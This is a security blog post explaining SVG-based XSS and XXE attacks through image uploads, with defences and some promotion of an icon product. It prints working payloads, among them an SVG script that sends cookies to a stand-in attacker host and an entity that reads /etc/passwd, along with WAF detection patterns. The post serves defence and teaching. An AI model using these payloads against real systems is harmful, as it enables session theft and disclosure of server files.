SVG XSS and XXE: Attack via Image Upload

An uploaded SVG can execute scripts or read local files. A practical guide to XSS and XXE via SVG: real-world payloads, attack vectors, and mitigations for developers.
- Posted on 2026-09-21
- Reading time: 4 min
SVG XSS and XXE: When a Vector Image Becomes an Exploit #
SVG XSS is the execution of JavaScript hidden within an SVG file uploaded or embedded in a page; SVG XXE is the reading of local files or SSRF by declaring external XML entities in the same file. Both exploit the same structural flaw: an SVG file is not an image like a JPEG or PNG, but a text-based XML document that can contain scripts, event handlers, and references to external entities that a parser actually executes. If an application accepts SVG uploads, renders them inline, or passes them to an image processing library without sanitization, both attack surfaces are open.
Why SVG is different from PNG or JPEG #
PNG and JPEG are binary raster formats: pixels and metadata, no executable code. SVG is pure XML text, with tags like <script>, <foreignObject>, event handlers (onload, onerror, onmouseover) and, above all, the possibility of declaring a DOCTYPE with external entities — the same mechanics that make any poorly configured XML parser dangerous (see XXE e XXE Injection for the complete theory).
The problem arises when a browser or server-side library treats the SVG as “just an image” and actually interprets it as an active document.
SVG XSS: Script inside an image #
The most direct payload uses the tag <script> or an event handler:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<circle cx="50" cy="50" r="40" />
</svg>Or with <script> explicit:
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
fetch('https://attacker.tld/steal?c=' + document.cookie)
</script>
</svg>The embedding context decides whether the payload executes:
| Embedding method | Script executed? | Note |
|---|---|---|
<img src="file.svg"> | No | Browser sandboxes, no JS execution |
<object data="file.svg"> | Yes | Full document context |
<iframe src="file.svg"> | Yes | Same risk of object |
<svg> inline in HTML | Yes | The parent DOM includes the script |
Upload served with Content-Type: image/svg+xml and opened directly in the browser | Yes | The victim browses the file as a document |
This is why a simple ".svg extension = image, okay" check is insufficient: it all depends on how the file is served and referenced after upload. For a general overview of malicious uploads, see File Upload Attack.
SVG XXE: External Entities within XML #
Being XML, an SVG can declare a DOCTYPE with external entities, the classic XXE Injection technique :
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="10" y="20">&xxe;</text>
</svg>If the server-side XML parser (not the browser) processes this file without disabling DTD/external entities — typical of pipelines that convert, resize, or “clean” SVG server-side — the contents of the read file end up inside the rendered text or in a parsing error that exposes it.
Known real-world case: ImageTragick (CVE-2016-3714) , where ImageMagick processed malicious SVGs by passing commands to the delegate, leading to RCE in addition to file reading. Libraries like librsvg or Apache Batik have had similar CVEs over time related to insecure DTD handling.
Practical vectors where this hits #
- Avatar/profile upload: user uploads an SVG as profile image, the backend processes it with a conversion/resize library
- Customizable logos in multi-tenant SaaS: white-label that allows you to upload your company logo in SVG
- Graphical/collaborative editors: import SVG from external URL or file
- Poorly implemented online image-to-SVG converters: if the tool performs server-side parsing without hardening
Detection and Blue Team #
- Parser log: XML errors with references to
file://,http://,ftp://in a field that should only contain an image they are a strong signal - WAF/IDS: rules that intercept
<!DOCTYPE,<!ENTITY,<script,onload=,onerror=inside payload withContent-Type: image/svg+xmlor extension.svg - EDR/outbound monitoring: an image processing process (ImageMagick, librsvg) that generates unexpected network traffic is almost always XXE-driven SSRF
- Response header: verify that the served SVG files have
Content-Disposition: attachmenteX-Content-Type-Options: nosniff— in-depth details in Security Headers
Mitigations #
XML parsing side (structural fix against XXE):
- Disable DTDs and external entities in the parser (
libxml_disable_entity_loader(true)in PHP,XMLInputFactorywithSUPPORT_DTDa false in Java,resolve_entities=False(in lxml Python) - Never use a “default” XML parser on user input without explicitly checking the entity configuration
Rendering side (XSS fix):
- Sanitize the SVG by removing
<script>, managerson*,<foreignObject>before serving it — libraries like DOMPurify (client) or dedicated SVG sanitizer (server) do this job - Always serve SVG uploads with
Content-Disposition: attachment, never render them inline in your application's DOM - Apply one CSP restrictive as an additional layer, not as the sole defense
The most effective mitigation remains avoiding the root of the problem. If your application needs to offer users a set of customizable icons or badges (avatars, section logos, UI elements), using a pre-built and verified SVG icon library like IcoSix completely eliminates the attack surface: the user chooses from a controlled set, not uploading arbitrary files that your backend then has to parse.
The same is true when you need the reverse path — turning a raster logo into a vector for a client or internal project: Instead of implementing a homegrown conversion parser (often the real weak point, as seen above with ImageTragick), a tested conversion tool like IcoSix’s PNG to SVG Converter avoids exposing your infrastructure to a homegrown, never-security-reviewed parser component.
MITRE ATT & CK #
| Technology | ID | Context |
|---|---|---|
| Public-Facing Application Exploit | T1190 | Malicious SVG upload as input vector |
| Drive-by Compromise | T1189 | SVG XSS served and opened by the victim |
| Exploitation for Client Execution | T1203 | Executing scripts in browser context |
| Server-Side Request Forgery (via XXE) | T1190 (application sub-technique) | External entities triggering internal SSRF requests |
Common mistakes #
| Error | Why it's a problem |
|---|---|
Validate the extension only .svg | XML content is never inspected |
Block <script> but not the managers on* | onload, onerror bypass naive filters |
Trust the Content-Type declared by the client | It is entirely controlled by the attacker |
| Sanitize client-side only (JS) | Bypassable by intercepting/modifying the request |
| Using a “default” image processing library without checking its XML config | Many have DTD enabled out-of-the-box |
FAQ #
An SVG uploaded as <img> can it run JavaScript?
No, the tag <img> sandboxes SVG rendering and blocks scripts and event handlers. The risk exists when the file is opened as a document (<object>, <iframe>, direct navigation) or embedded inline in the DOM.
Is renaming the extension enough to block malicious SVGs? No. The check must be done on the content (magic bytes/parsing), not on the extension, which is easily spoofable.
Are all XML parsers vulnerable to XXE by default? It depends on the language and library version: many have made it safe by default in recent years, but it's not guaranteed for every library/version combination—it should always be checked explicitly, never assumed.
Is an online image conversion tool always safe? Not per se—it depends on how it processes the SVG server-side. A mature and verified tool reduces the risk compared to an unreviewed, in-house parser, but security should always be evaluated on a case-by-case basis.
How do you prevent XXE in SVG files? By disabling DTDs and external entities in the XML parser used to process uploads (not in the browser, which isn't the vulnerability)—this is the only structural fix; filtering suspicious patterns in the file content isn't enough.








